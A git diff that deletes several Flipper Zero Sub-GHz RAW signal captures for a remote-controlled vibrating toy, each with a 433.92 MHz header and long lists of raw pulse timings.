-878 409 -838 425 -854 415 -840 423 -840 419 -848 439 -846 423 -852 411 -854 427 -838 1705 -388 445 -416 417 -434 411 -444 415 -412 425 -850 413 -452 403 -850 415 -452 401 -426 441 -382 445 -848 415 -416 451 -418 409 -444 413 -836 415 -450 389 -852 423 -446 413 -834 411 -452 427 -854 411 -408 441 -844 423 -396 437 -842 425 -836 447 -834 415 -852 423 -838 447 -844 413 -846 421 -854 411 -854 399 -868 1671 -424 441 -414 409 -454 409 -418 417 -440 411 -844 421 -412 445 -844 403 -426 411 -446 419 -422 409 -874 411 -416 409 -444 415 -420 429 -852 385 -448 413 -868 379 -446 417 -834 441 -418 417 -862 411 -416 451 -852 387 -444 415 -109538 165 -300 97 -432 65 -200 97 -130 199 -364 231 -394 163 -136 65 -102 465 -66 14401 -66 701 -296 3589 -66 -RAW_Data: 599 -66 99 -132 5153 -66 14917 -66 5211 -68 19757 -66 851 -100 12567 -66 1313 -132 2779 -98 26267 -132 3629 -66 657 -98 3959 -66 689 -100 1449 -132 7635 -66 1151 -68 1593 -100 2299 -100 667 -66 7035 -132 2901 -98 1021 -98 20983 -100 731 -66 4173 -66 2997 -66 597 -100 8257 -64 6265 -66 265 -66 1459 -98 1231 -100 5885 -98 4859 -100 5245 -100 3345 -66 1789 -68 2889 -132 1603 -66 265 -68 2379 -68 13377 -100 2351 -66 1329 -66 4945 -66 1655 -98 4301 -66 961 -132 1703 -68 4449 -66 10323 -166 5345 -68 2321 -100 833 -100 427 -66 2707 -100 4809 -66 6967 -100 22285 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_3.sub deleted file mode 100644 index d74f3253c..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 9621 8789 11201 -164 17139 -68 1317 -66 195 -66 14211 -262 5191 -164 263 -66 667 -66 1647 -66 229 -100 7307 -826 411 -850 405 -888 417 -844 401 -852 415 -852 423 -838 451 -850 1669 -450 399 -412 409 -444 409 -422 423 -410 417 -848 403 -458 417 -848 415 -432 395 -470 381 -450 391 -868 413 -450 399 -412 443 -416 409 -854 415 -448 409 -866 417 -416 407 -852 413 -418 443 -848 413 -418 411 -876 409 -448 413 -846 411 -876 397 -856 413 -852 395 -900 385 -850 439 -846 423 -852 387 -874 411 -844 1663 -450 407 -426 409 -448 411 -418 411 -444 385 -884 415 -410 425 -872 413 -418 411 -446 415 -410 421 -870 385 -852 423 -444 415 -410 421 -870 387 -884 387 -876 409 -422 425 -872 375 -462 389 -872 409 -438 417 -846 407 -462 389 -872 415 -854 407 -876 397 -880 385 -884 389 -874 411 -844 415 -878 395 -848 415 -852 1675 -466 417 -416 415 -452 401 -424 409 -446 413 -850 411 -418 411 -876 415 -418 411 -416 441 -444 383 -882 399 -864 415 -418 407 -454 381 -878 409 -852 413 -844 427 -454 415 -844 397 -454 413 -844 403 -454 415 -848 399 -424 441 -846 401 -854 415 -852 423 -872 419 -820 441 -846 423 -852 417 -842 409 -870 417 -850 1693 -418 429 -416 445 -388 445 -416 409 -426 423 -878 417 -420 411 -838 417 -420 439 -430 419 -416 415 -834 411 -844 447 -416 409 -448 411 -854 397 -864 415 -842 439 -412 413 -880 407 -412 413 -876 409 -412 445 -846 411 -412 445 -848 413 -838 425 -852 413 -868 409 -842 407 -866 415 -844 437 -840 425 -856 413 -854 1681 -426 409 -448 413 -420 433 -428 409 -416 413 -876 411 -416 415 -876 411 -418 417 -416 409 -438 415 -880 407 -838 447 -414 409 -446 411 -856 397 -860 417 -848 403 -424 447 -812 465 -388 447 -844 435 -388 447 -844 437 -390 447 -842 431 -814 415 -864 441 -832 441 -856 429 -836 419 -848 435 -844 421 -820 421 -878 1689 -418 409 -446 413 -412 425 -426 445 -382 437 -864 419 -418 417 -862 413 -416 447 -416 431 -406 415 -850 437 -828 453 -414 411 -416 441 -844 407 -868 419 -812 463 -390 445 -844 433 -410 415 -844 441 -410 415 -840 441 -416 417 -128960 197 -1430 401 -132 829 -68 797 -198 165 -66 1281 -130 6059 -166 2435 -66 1717 -134 13049 -68 965 -66 663 -66 1157 -68 331 -68 795 -66 4491 -100 11565 -132 2929 -66 985 -98 1321 -66 3077 -98 11451 -66 533 -100 5035 -66 901 -100 1897 -132 1617 -98 1317 -100 6701 -98 4443 -66 2735 -100 3303 -100 2381 -98 1151 -66 2309 -130 4147 -RAW_Data: -66 7345 -100 1891 -132 5491 -132 2771 -66 1097 -98 8977 -98 4043 -100 2891 -66 891 -66 695 -132 329 -66 4345 -98 15435 -98 831 -132 1965 -100 11111 -66 2385 -66 1263 -66 4577 -68 1457 -66 8503 -66 11891 -66 1905 -66 1147 -68 761 -100 301 -66 3123 -98 1393 -100 1263 -18796 65 -166 99 -232 165 -654 99 -228 227 -64 99 -264 131 -362 163 -100 163 -132 1825 -100 1817 -66 163 -66 3379 -100 131 -64 725 -100 4927 -100 8119 -134 2353 -100 1227 -66 925 -130 1279 -66 2289 -100 1699 -66 1925 -68 5573 -134 9363 -68 1325 -66 1477 -98 2199 -196 7113 -98 915 -98 1841 -98 2637 -130 9627 -66 3343 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_4.sub deleted file mode 100644 index f6409d92e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 10573 -132 6767 5869 9389 -66 1807 -134 5657 -66 787 -98 131 -96 2499 -98 1155 -66 4691 -98 5547 -66 4373 -164 1703 -66 557 -98 8795 -66 293 -132 1123 -68 6313 -66 11661 -132 9047 -102 4423 -64 1325 -98 1387 -134 1219 -66 1313 -64 31579 -854 411 -848 425 -854 413 -836 443 -844 409 -864 417 -846 437 -846 1669 -420 417 -452 401 -426 441 -382 443 -424 427 -836 419 -418 417 -860 413 -418 413 -448 409 -442 385 -868 413 -874 411 -418 425 -440 383 -870 411 -838 417 -848 439 -418 415 -848 437 -418 415 -846 233 -402 409 -876 397 -422 443 -846 435 -848 385 -852 423 -874 381 -876 411 -844 427 -854 411 -852 395 -866 451 -820 1695 -452 403 -424 441 -414 413 -424 425 -410 415 -882 399 -432 415 -852 415 -434 411 -442 415 -854 399 -434 417 -416 417 -418 433 -854 415 -412 421 -442 417 -848 433 -388 445 -846 401 -424 445 -844 401 -424 445 -844 401 -424 441 -840 399 -872 419 -848 417 -852 423 -840 453 -820 441 -846 425 -818 421 -876 411 -846 1703 -416 411 -426 443 -414 413 -422 425 -446 411 -856 399 -432 415 -844 439 -428 387 -446 417 -854 427 -410 417 -416 419 -452 407 -850 415 -442 395 -424 445 -844 433 -420 415 -848 435 -388 445 -848 403 -442 413 -840 439 -410 413 -880 409 -836 429 -852 413 -836 421 -840 447 -848 411 -848 421 -852 413 -854 425 -838 1705 -418 417 -416 409 -438 417 -416 417 -442 409 -846 425 -424 441 -842 435 -388 445 -416 417 -860 415 -416 415 -454 409 -442 413 -854 397 -432 415 -450 387 -854 423 -442 413 -852 399 -432 415 -848 407 -424 423 -876 411 -416 411 -872 411 -864 417 -848 399 -850 415 -854 423 -838 415 -876 413 -846 425 -854 413 -834 1701 -414 447 -420 429 -416 413 -424 445 -414 409 -850 415 -416 445 -846 411 -418 417 -418 441 -840 419 -418 435 -430 417 -450 383 -852 423 -446 411 -420 425 -838 415 -450 407 -850 415 -442 397 -880 417 -398 435 -844 427 -428 409 -844 421 -854 411 -854 427 -838 417 -848 441 -848 421 -856 411 -868 379 -882 399 -864 1671 -454 415 -416 407 -458 385 -446 415 -418 431 -834 415 -452 405 -850 415 -452 403 -424 441 -842 403 -424 443 -414 411 -420 425 -836 447 -416 399 -436 417 -846 417 -434 427 -842 419 -418 437 -824 449 -416 417 -858 413 -418 415 -122562 263 -730 131 -264 65 -396 333 -68 397 -334 231 -368 197 -66 495 -134 3311 -100 687 -68 1943 -100 1017 -66 5111 -98 4237 -66 261 -98 4073 -66 13511 -130 3997 -98 363 -98 5429 -66 5237 -130 729 -RAW_Data: -66 4655 -66 13415 -134 7095 -66 495 -66 9695 -64 163 -98 915 -100 3403 -68 7819 -68 6601 -100 987 -68 7411 -66 497 -66 395 -98 10193 -66 4287 -66 1615 -66 4849 -68 11383 -66 4913 -66 2469 -130 2599 -66 4597 -66 1593 -66 1067 -66 4031 -100 2055 -66 931 -100 535 -100 1287 -100 2581 -100 831 -66 2929 -68 729 -132 331 -168 11611 -166 8515 -132 9161 -132 1743 -132 1515 -132 2359 -66 5017 -98 7093 -66 3481 -66 2913 -132 267 -100 1029 -100 3177 -68 1581 -98 527 -68 1027 -196 4649 -132 2797 -66 295 -66 161 -164 7473 -66 331 -66 1853 -66 2229 -98 4617 -98 6373 -98 12267 -98 6007 -66 1185 -66 10553 -134 3161 -66 5253 -66 1249 -66 1115 -64 1219 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_1.sub deleted file mode 100644 index a9183c253..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 1324 3065 -66 6057 -100 1193 -66 9391 -66 4145 -68 6961 -98 891 -100 1561 -100 2851 -66 8323 -68 12083 -166 1191 -66 4187 -66 6343 -100 2921 -64 2409 -66 2553 -66 931 -66 2213 -66 2033 -68 16851 -66 657 -100 2255 -68 6079 -100 897 -66 163 -66 3859 -836 407 -840 423 -854 415 -872 381 -880 401 -862 417 -844 399 -848 1701 -448 413 -408 445 -414 407 -434 415 -418 417 -868 411 -422 425 -854 379 -446 421 -410 449 -414 407 -436 415 -872 409 -408 415 -452 391 -450 409 -850 413 -852 425 -440 381 -850 437 -430 417 -848 419 -426 399 -862 417 -416 413 -848 415 -842 425 -850 415 -886 387 -838 447 -846 411 -846 421 -854 411 -856 397 -868 1705 -420 413 -412 437 -428 415 -416 417 -450 405 -872 385 -450 405 -838 415 -888 387 -444 415 -418 433 -416 445 -846 385 -452 409 -426 411 -416 449 -818 443 -846 423 -416 413 -852 417 -452 405 -854 411 -420 431 -856 381 -452 427 -818 423 -874 409 -832 449 -842 433 -814 413 -868 413 -852 415 -846 415 -874 399 -852 1703 -418 385 -444 423 -424 443 -414 415 -420 409 -876 411 -416 425 -840 417 -848 441 -420 415 -416 409 -420 411 -874 413 -418 411 -446 413 -442 395 -850 415 -868 413 -418 429 -850 387 -448 413 -852 395 -472 381 -846 435 -434 417 -846 419 -858 413 -846 423 -854 411 -836 411 -868 411 -848 437 -858 417 -846 401 -852 1671 -450 383 -450 429 -414 411 -424 409 -442 409 -852 447 -382 451 -854 411 -816 449 -416 409 -422 443 -412 407 -854 449 -414 413 -422 411 -446 415 -854 427 -840 417 -418 407 -852 451 -414 409 -868 417 -416 417 -862 415 -416 417 -848 441 -844 423 -852 417 -846 409 -852 415 -844 425 -848 415 -868 411 -834 409 -874 1691 -422 409 -446 413 -410 437 -416 415 -420 439 -838 419 -418 409 -868 419 -848 439 -418 415 -418 439 -428 387 -878 409 -418 423 -442 383 -450 391 -886 385 -878 411 -422 425 -838 419 -420 441 -838 417 -454 399 -862 419 -416 411 -852 417 -846 425 -868 419 -856 379 -888 399 -864 419 -846 431 -848 385 -852 425 -870 1663 -452 399 -432 417 -416 419 -442 397 -422 447 -844 433 -420 417 -844 435 -846 387 -450 407 -426 411 -416 445 -844 413 -414 445 -420 425 -442 381 -848 437 -860 417 -416 407 -866 419 -416 419 -858 411 -416 451 -850 411 -420 415 -126664 65 -952 99 -166 465 -100 363 -200 793 -64 2779 -66 19897 -100 3587 -66 1961 -64 3655 -132 6939 -66 5731 -66 2587 -100 3267 -100 6375 -100 6421 -66 229 -234 5083 -66 631 -100 1719 -132 3275 -RAW_Data: -66 7453 -68 559 -100 1563 -100 529 -134 99 -100 5993 -66 8355 -66 821 -66 367 -100 533 -66 497 -66 5567 -66 21321 -98 5499 -64 7157 -98 18011 -66 10633 -66 923 -98 1017 -64 1645 -98 1849 -66 2317 -166 1495 -100 6917 -66 197 -98 2037 -100 987 -100 1021 -100 231 -66 2625 -66 1625 -98 1281 -66 991 -66 3339 -98 1283 -66 2513 -100 4439 -98 591 -66 2129 -132 199 -130 1355 -132 229 -100 4117 -66 1399 -66 5951 -98 1685 -68 4767 -100 1819 -100 5917 -66 9727 -66 26607 -68 2023 -134 4087 -66 1723 -100 7017 -100 1055 -98 2277 -100 3115 -68 1989 -98 953 -64 2149 -202 1361 -66 3347 -66 7299 -68 9835 -66 133 -132 16759 -196 3291 -98 7121 -100 687 -64 1293 -98 4283 -66 1233 -100 6811 -68 5145 -66 1543 -98 5313 -98 4475 -166 8235 -66 12863 -100 1941 -98 197 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_2.sub deleted file mode 100644 index 8a3f3dd01..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -100 5579 -66 925 -68 3599 2833 2137 -66 1987 -100 3859 -98 5687 -130 7239 -132 4651 -198 1839 -66 1063 -66 1521 -166 599 -68 597 -66 2749 -66 867 -98 1757 -68 7221 -66 1807 -100 4539 -98 723 -66 5317 -66 1611 -66 1997 -100 2225 -98 3905 -100 1767 -100 1091 -66 2735 -68 27543 -66 1345 -66 1419 -66 399 -66 533 -166 9143 -66 1891 -66 3151 -100 5773 -66 1063 -134 1943 -66 1249 -98 593 -66 1463 -66 8723 -66 963 -68 3349 -134 433 -66 12881 -100 297 -66 99 -68 297 -100 9299 -66 11187 -822 419 -850 443 -846 417 -854 385 -876 411 -850 413 -846 423 -854 1669 -452 415 -420 431 -416 411 -426 443 -414 411 -848 447 -382 443 -848 415 -844 427 -428 409 -416 445 -414 411 -842 447 -414 409 -446 413 -420 427 -854 411 -868 377 -452 427 -824 441 -410 435 -844 425 -430 409 -842 423 -426 411 -844 429 -848 417 -852 427 -840 419 -848 437 -848 387 -852 423 -874 411 -848 415 -844 1683 -446 421 -414 447 -388 445 -416 419 -432 409 -876 413 -414 425 -838 419 -848 441 -418 415 -418 439 -856 419 -414 411 -418 411 -446 415 -856 397 -438 415 -848 437 -432 417 -846 409 -418 411 -876 411 -418 409 -878 409 -438 417 -842 409 -866 419 -848 439 -846 421 -852 387 -876 419 -824 441 -846 425 -850 413 -836 1693 -450 383 -452 391 -452 409 -426 411 -446 413 -850 415 -416 439 -830 451 -846 439 -388 445 -416 419 -862 413 -420 415 -418 437 -428 415 -846 417 -430 399 -868 419 -418 415 -864 411 -418 415 -850 439 -418 415 -848 403 -424 445 -844 399 -850 417 -866 417 -846 407 -856 417 -878 395 -852 415 -840 423 -874 411 -850 1701 -394 435 -416 449 -422 397 -436 415 -450 387 -862 411 -450 423 -856 379 -870 413 -444 383 -474 407 -846 421 -428 407 -416 445 -418 411 -876 417 -422 411 -840 419 -420 435 -858 417 -416 411 -852 413 -450 379 -876 409 -448 413 -844 413 -876 397 -850 413 -852 393 -902 379 -878 411 -844 427 -856 411 -836 425 -840 1701 -416 445 -418 399 -438 417 -448 387 -450 405 -850 415 -452 403 -852 415 -868 411 -410 421 -412 447 -844 403 -424 445 -414 417 -426 409 -840 419 -420 439 -860 417 -416 409 -850 449 -416 409 -864 419 -416 409 -870 417 -416 409 -882 419 -842 431 -846 385 -852 425 -838 419 -850 439 -846 425 -852 411 -856 397 -868 1707 -388 443 -416 437 -392 441 -418 417 -440 411 -844 425 -426 441 -842 397 -852 413 -438 435 -418 417 -846 439 -388 445 -416 441 -394 423 -844 453 -390 441 -838 421 -420 413 -850 451 -RAW_Data: -382 453 -852 413 -418 417 -844 437 -386 447 -125274 67 -1560 67 -268 329 -428 297 -132 199 -430 1493 -132 4925 -134 4353 -100 7543 -100 3817 -132 2139 -130 8029 -66 1459 -68 7405 -100 995 -66 2127 -66 2271 -98 5915 -66 3617 -66 619 -66 1385 -66 1127 -66 365 -66 3641 -66 363 -132 765 -100 7519 -66 14921 -68 1989 -130 99 -98 1447 -66 11047 -66 3537 -66 5161 -66 631 -66 3359 -66 3903 -66 5493 -100 329 -98 2779 -66 7367 -100 491 -66 1491 -66 7407 -66 2481 -100 1251 -98 2077 -100 2287 -132 327 -132 2861 -66 2415 -132 2997 -98 11487 -66 3241 -100 2705 -100 1583 -132 265 -130 425 -66 655 -66 625 -66 10985 -100 195 -66 755 -98 3331 -66 5969 -66 10977 -68 3681 -66 393 -98 131 -66 493 -98 817 -98 9643 -100 4835 -66 2509 -66 4607 -66 10559 -66 3147 -98 3821 -66 2131 -98 3191 -98 4583 -98 457 -66 9173 -66 8493 -134 165 -130 4697 -68 401 -98 3621 -100 5641 -66 661 -68 1497 -66 1199 -66 14397 -102 367 -166 4447 -66 3077 -98 4205 -98 6199 -66 14997 -100 6477 -66 1263 -68 2887 -66 5055 -98 3343 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_3.sub deleted file mode 100644 index 957e47cb8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 6007 -100 589 -68 301 -531 4549 -64 5613 -66 4651 -68 2825 -100 2309 -66 2249 -64 2633 -66 227 -66 7787 -64 589 -98 1937 -66 5975 -66 161 -66 3685 -132 1419 -68 2075 -68 7685 -98 667 -98 7739 -100 6693 -66 14873 -66 4349 -68 6497 -98 6803 -66 921 -66 5097 -66 1173 -846 451 -816 443 -842 425 -852 419 -846 415 -858 411 -842 429 -852 1669 -438 417 -416 419 -450 403 -424 441 -414 413 -852 413 -420 415 -850 439 -844 425 -426 407 -416 445 -848 411 -418 415 -452 409 -442 383 -882 395 -436 415 -846 437 -430 419 -842 409 -432 417 -846 409 -424 441 -846 411 -418 441 -846 407 -850 449 -846 401 -854 417 -854 425 -870 407 -828 447 -842 401 -882 385 -852 1703 -438 385 -446 417 -450 403 -428 409 -418 415 -884 411 -420 415 -846 439 -846 425 -414 447 -390 443 -846 401 -850 417 -450 403 -424 441 -844 399 -852 415 -850 425 -440 415 -834 411 -446 415 -856 427 -408 417 -884 379 -438 423 -876 379 -878 409 -846 425 -852 417 -842 409 -866 417 -848 437 -846 387 -886 389 -876 1683 -418 411 -450 397 -434 417 -448 387 -452 407 -854 413 -440 427 -844 387 -868 415 -442 409 -420 415 -852 439 -844 421 -416 413 -424 443 -844 395 -870 387 -888 387 -444 413 -854 397 -430 417 -848 415 -436 425 -838 417 -420 451 -836 411 -872 401 -848 415 -864 415 -840 443 -836 415 -842 437 -844 423 -818 443 -854 1679 -424 427 -440 381 -450 391 -452 407 -426 411 -844 427 -424 441 -842 401 -850 415 -442 411 -418 443 -846 411 -842 429 -426 411 -416 445 -844 415 -844 427 -848 415 -452 407 -854 415 -442 395 -848 445 -410 445 -844 399 -426 411 -874 403 -852 413 -854 423 -838 419 -848 441 -814 451 -820 421 -842 447 -844 415 -844 1705 -408 435 -416 417 -418 439 -412 415 -446 413 -836 415 -440 445 -840 401 -848 447 -418 407 -426 441 -840 401 -852 415 -452 407 -428 411 -842 429 -852 413 -856 429 -408 415 -852 437 -396 421 -872 409 -418 409 -874 407 -438 417 -848 411 -846 447 -810 427 -834 445 -836 413 -834 451 -848 421 -858 415 -846 419 -852 1699 -420 415 -420 431 -410 445 -414 407 -434 417 -842 439 -410 417 -850 439 -824 451 -414 419 -424 409 -840 419 -850 439 -388 447 -414 417 -860 411 -844 429 -820 441 -408 437 -844 425 -428 443 -808 431 -426 411 -842 427 -426 441 -125680 163 -64 163 -66 261 -330 359 -298 533 -198 329 -268 265 -134 929 -100 1031 -66 2355 -100 1795 -66 10897 -102 5043 -66 1755 -66 263 -132 2345 -162 657 -98 329 -RAW_Data: -66 789 -100 623 -100 3803 -68 4217 -100 2585 -66 1229 -100 199 -134 17435 -66 14169 -66 12213 -66 8961 -102 22577 -98 7135 -66 2003 -66 985 -66 2217 -100 99 -98 8371 -132 4811 -66 10959 -66 133 -66 1697 -66 5261 -66 5193 -66 7731 -100 5863 -98 2061 -100 9689 -100 2287 -98 295 -98 1149 -66 63 -66 14251 -66 2525 -98 3373 -66 2291 -100 463 -132 65 -66 2637 -100 2097 -166 1653 -66 1235 -232 8499 -100 1431 -166 265 -168 233 -68 3689 -66 11493 -66 623 -100 33757 -66 2205 -66 3483 -96 5183 -68 2383 -232 3055 -100 265 -98 3387 -100 10517 -100 727 -132 5783 -100 2143 -66 3391 -66 459 -66 2327 -66 2191 -66 1253 -100 7591 -134 1197 -100 8515 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_4.sub deleted file mode 100644 index fde943260..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 4797 -100 1363 528 16847 -66 11457 -66 3705 -100 10923 -68 27295 -100 38337 -68 2637 -66 1301 -100 7113 -66 17583 -68 12779 -66 26723 -98 6873 -98 47505 -66 5145 -814 439 -844 389 -870 413 -854 393 -866 417 -848 403 -852 415 -852 1709 -432 387 -446 415 -442 395 -424 443 -410 409 -854 447 -384 445 -850 413 -876 399 -426 411 -416 451 -818 443 -842 425 -426 441 -382 451 -854 411 -846 423 -852 413 -418 431 -850 419 -416 417 -866 409 -418 417 -854 425 -408 415 -850 437 -860 419 -810 429 -850 415 -872 417 -844 409 -868 419 -844 433 -846 383 -852 1705 -434 417 -416 417 -452 403 -426 441 -380 445 -850 415 -418 415 -880 413 -846 419 -428 407 -874 399 -426 411 -416 443 -418 441 -844 409 -434 417 -416 417 -868 411 -410 421 -870 385 -450 411 -852 415 -440 431 -846 417 -398 435 -844 429 -852 411 -854 395 -864 419 -850 439 -848 421 -818 423 -878 411 -842 417 -846 1679 -454 389 -452 409 -426 411 -414 447 -480 347 -838 449 -414 283 -996 429 -836 319 -526 423 -844 433 -420 417 -386 447 -418 441 -816 421 -420 435 -428 415 -876 397 -434 415 -850 439 -394 423 -844 415 -444 411 -874 407 -434 415 -848 419 -854 413 -844 417 -854 411 -852 407 -844 455 -818 445 -844 419 -824 413 -852 1687 -416 435 -432 415 -418 415 -442 431 -418 417 -848 441 -388 447 -842 437 -814 415 -438 433 -846 419 -428 409 -416 451 -384 439 -840 421 -416 409 -420 411 -874 413 -418 439 -844 407 -440 385 -844 449 -416 407 -874 407 -436 417 -848 409 -846 449 -808 427 -852 411 -864 409 -848 411 -852 451 -840 401 -848 413 -854 1705 -400 423 -444 413 -440 411 -416 417 -418 441 -840 421 -418 441 -824 453 -842 403 -424 445 -810 465 -386 445 -414 411 -426 425 -844 447 -418 429 -408 415 -850 419 -432 409 -872 409 -436 415 -848 439 -396 451 -846 413 -422 425 -838 421 -846 437 -844 421 -820 423 -844 447 -842 413 -842 427 -834 445 -834 413 -856 1705 -398 423 -446 411 -406 437 -416 451 -384 439 -842 421 -416 439 -828 449 -810 429 -428 443 -846 437 -386 449 -416 441 -394 421 -844 455 -384 453 -406 423 -840 421 -418 441 -824 455 -382 445 -842 415 -416 447 -844 413 -416 449 -114632 133 -1450 195 -298 821 -198 1049 -132 12969 -66 7559 -66 4017 -68 20471 -66 16551 -130 789 -66 15649 -66 2573 -100 5149 -66 1877 -66 2207 -66 5095 -66 1775 -66 47595 -132 29187 -66 995 -66 6429 -100 19703 -100 22323 -66 6757 -100 3323 -100 7545 -66 43107 -100 17775 -68 5781 -66 2295 -66 8811 -RAW_Data: -66 6259 -166 1125 -132 1777 -102 3639 -66 13019 -66 37709 -100 10845 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_1.sub deleted file mode 100644 index 57f3f4c1d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5617 -66 2647 -66 559 -307 2231 -98 3835 -66 7091 -132 5419 -100 2061 -66 2101 -98 1771 -100 2965 -64 331 -66 733 -66 9533 -100 329 -66 7279 -166 2159 -66 6841 -68 1129 -98 2363 -66 1151 -134 2011 -66 25003 -98 2531 -66 459 -98 5539 -66 1225 -66 491 -164 329 -66 2549 -66 10551 -66 2503 -66 229 -96 3355 -100 1067 -66 1481 -100 461 -68 4373 -168 829 -66 689 -132 397 -68 5139 -98 99 -166 969 -66 5211 -98 3059 -66 527 -100 5151 -66 6657 -98 7937 -66 2493 -100 431 -66 2541 -66 2133 -68 5037 -66 2795 -100 1823 -894 259 -990 97 -1168 325 -936 137 -1144 337 -916 131 -1138 1507 -586 387 -464 401 -450 313 -522 381 -472 385 -1074 209 -452 389 -876 383 -882 409 -418 415 -486 357 -434 417 -846 439 -430 387 -448 415 -410 423 -880 383 -888 415 -416 419 -852 425 -410 293 -60 61 -878 379 -446 417 -852 427 -408 415 -918 357 -864 417 -880 383 -850 415 -838 423 -870 407 -828 449 -846 435 -848 383 -854 1675 -430 421 -444 415 -418 431 -398 439 -416 417 -848 439 -844 385 -452 411 -426 409 -418 445 -414 441 -418 415 -834 411 -446 415 -440 411 -416 417 -848 437 -844 423 -432 407 -874 397 -424 445 -842 397 -424 443 -846 435 -388 445 -846 403 -848 449 -820 421 -872 417 -856 411 -844 427 -854 409 -834 411 -874 407 -866 1713 -418 415 -418 441 -394 421 -448 413 -412 421 -850 413 -868 411 -410 457 -420 415 -416 409 -438 415 -450 389 -852 425 -412 445 -420 425 -416 445 -816 415 -866 411 -446 417 -852 417 -416 415 -864 409 -418 453 -852 387 -444 413 -856 415 -842 413 -848 425 -850 415 -856 397 -868 419 -848 439 -816 449 -852 387 -876 1697 -414 417 -430 409 -446 413 -418 427 -398 437 -842 425 -838 413 -436 431 -416 415 -422 441 -442 381 -450 391 -868 413 -452 397 -412 445 -414 409 -872 417 -846 407 -422 445 -848 433 -388 443 -846 403 -424 445 -844 407 -422 445 -844 435 -846 385 -854 423 -844 453 -852 411 -848 419 -852 387 -876 411 -850 413 -846 1709 -418 425 -400 433 -416 451 -386 441 -414 415 -870 409 -840 419 -420 437 -398 451 -420 419 -416 417 -442 429 -814 451 -418 409 -424 441 -382 451 -820 445 -848 419 -398 435 -842 427 -414 419 -880 387 -452 409 -852 413 -420 431 -836 415 -868 413 -868 417 -844 407 -866 417 -846 405 -848 447 -834 415 -854 421 -842 1705 -418 417 -418 417 -434 411 -444 413 -418 437 -850 415 -838 423 -446 413 -420 427 -396 437 -416 437 -402 421 -878 411 -426 423 -412 445 -408 435 -844 -RAW_Data: 423 -818 441 -420 427 -822 411 -452 427 -852 415 -418 417 -834 443 -418 417 -122094 65 -530 459 -66 331 -298 97 -100 463 -198 265 -66 2859 -100 5403 -66 2425 -134 6851 -66 467 -68 531 -66 3779 -98 2743 -134 331 -134 5361 -134 10721 -100 331 -66 1095 -66 7413 -100 133 -68 825 -100 10801 -132 829 -232 4407 -134 1897 -66 691 -132 901 -66 65 -100 1361 -132 10659 -66 5299 -66 8529 -68 1129 -198 11417 -66 7657 -66 3021 -98 2523 -96 2897 -132 1447 -100 3535 -100 1293 -100 12401 -66 4771 -198 7265 -68 1263 -134 6143 -198 5333 -66 923 -100 2551 -66 955 -66 3565 -66 4709 -100 9881 -68 601 -66 9049 -66 429 -66 2023 -66 7029 -134 5903 -66 4319 -64 2071 -100 195 -66 5135 -68 9899 -66 6693 -66 97 -132 1179 -66 4375 -66 463 -100 5561 -66 3657 -66 11869 -66 2413 -64 15999 -66 8785 -100 9759 -66 4443 